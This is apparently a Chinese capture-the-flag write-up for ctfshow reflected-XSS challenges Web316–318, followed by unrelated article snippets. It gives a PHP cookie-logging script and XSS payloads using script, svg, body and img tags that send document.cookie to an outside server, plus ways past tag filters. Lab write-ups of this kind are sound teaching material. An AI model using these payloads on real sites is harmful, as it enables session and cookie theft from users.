ctfshow(316,317,318)--XSS漏洞--反射性XSS

ops/2024/11/13 0:42:18/

反射型XSS相关知识

Web316

进入界面:
在这里插入图片描述

审计

显示是关于反射性XSS的题目。

思路

首先想到利用XSS平台解题,看其他师傅的wp提示flag是在cookie中。
当前页面的cookie是flag=you%20are%20not%20admin%20no%20flag。
但是这里我使用XSS平台,显示的cookie还是这样,并不能得到flag。该方法先作罢。

于是我们使用稳定性更高的方法:写js代码将cookie传到自己的服务器上。
先在服务器写一个php文件:

//flag.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

然后在靶机中传入如下代码:

<script>location.href="http://[自己服务器的IP]/flag.php?cookie="+document.cookie</script>

提交之后成功跳转到自己的网页。
查看自己服务器中的cookie.txt文件,得到flag。

Web317

界面与上一题相同。
但是过滤了<script>,大小写混写也不能使用。
考虑使用HTML的其他标签。

这道题我们使用<svg>与onload属性

<svg onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>//svg 是用于绘图的标签
//onload事件 是页面加载成功后执行的事件

得到flag.

其他形式的payload:

//body标签也支持onload事件
<body onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>//img标签支持onerror属性。当图片加载发生了错误,就会触发该事件
<img src='#' onerror="window.location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

Web318

和上一题相同,不过多过滤了img标签。
使用body或者svg标签即可。

<body onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/><svg onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

得到flag.


http://www.ppmy.cn/ops/132513.html

相关文章

Python自动化运维:配置管理工具到自动化部署与版本控制

Python自动化运维&#xff1a;配置管理工具到自动化部署与版本控制 目录 &#x1f310; 自动化配置管理工具的使用&#xff1a;Chef、Puppet、SaltStack&#x1f916; 通过Python与配置管理工具集成⚙️ 使用Ansible与Python实现自动化配置与管理&#x1f504; 自动化部署的版…

Web3对社交媒体的影响:重新定义用户互动方式

随着互联网的发展和人们对隐私、安全、所有权的需求不断提高&#xff0c;Web3 的概念逐渐深入人心。Web3 的出现标志着一个去中心化、用户主导的网络时代的到来&#xff0c;这也将对社交媒体产生深远的影响。Web3 不仅推动社交媒体从中心化模式向用户主导的去中心化模式转变&am…

pg_dump -Fc 导出的自定义格式数据库文件 相关操作

实例 将 test.dmp 文件转换为普通SQL内容, 并打印到屏幕 pg_restore -U postgres -Fc -f - test.dump将 test.dmp 文件转换为普通SQL内容, 并输出到 test.sql 文件中 pg_restore -U postgres -Fc -f test.sql -v test.dump备份得到自定义格式的数据库文件(dmp) pg_dump -U…

GPU架构概述

GPU \textbf{GPU} GPU架构与 CUDA \textbf{CUDA} CUDA编程模型 1. GPU \textbf{1. }\textbf{GPU} 1. GPU体系结构 1️⃣计算单元组织架构 结构功能 CUDA \text{CUDA} CUDA核心类似 ALU \text{ALU} ALU(但远没 CPU \text{CPU} CPU的灵活)&#xff0c;可执行浮点运算/张量运算/光…

ArcGIS Pro SDK (二十二)订阅和搜索

ArcGIS Pro SDK (二十二)订阅和搜索 文章目录 ArcGIS Pro SDK (二十二)订阅和搜索1 搜索和订阅流数据2 搜索和订阅取消3 显式取消等待行异步环境:Visual Studio 2022 + .NET6 + ArcGIS Pro SDK 3.0 1 搜索和订阅流数据 await QueuedTask.Run(async () => {// 查询过滤…

新手用docker真**难受

用Ubuntu镜像创建能够运行的容器&#xff1a; 我就想用直接pull下来的Ubuntu镜像生成个容器跑起来都十分艰难网上什么也查不到全是**AI生成的博文现在的博客咋都这*样了 docker run -i -t --name [NAME] -p 8080:3000 [IMAGENAME]:[IMAGETAG] bash[NAME]代表容器名字[IMAGENA…

MySQL 性能优化策略:提升响应速度与系统稳定性

文章目录 MySQL 性能优化策略&#xff1a;提升响应速度与系统稳定性查询优化&#xff1a;让每一次查询更高效合理使用索引&#xff1a;加速数据检索优化查询语句&#xff1a;避免不必要的操作分页查询优化&#xff1a;避免全表扫描临时表和缓存的合理使用死锁和锁等待的优化 索…

qt creator开发一个Linux 下运行的无界面的程序

安装 Qt 和 Qt Creator 确保你已经安装了 Qt 和 Qt Creator。如果没有&#xff0c;按以下步骤安装&#xff1a; 在 Ubuntu 上安装 Qt 和 Qt Creator&#xff1a; sudo apt update sudo apt install qtcreator qtbase5-dev在其他 Linux 系统上&#xff1a; 请参考 Qt 官网 或系…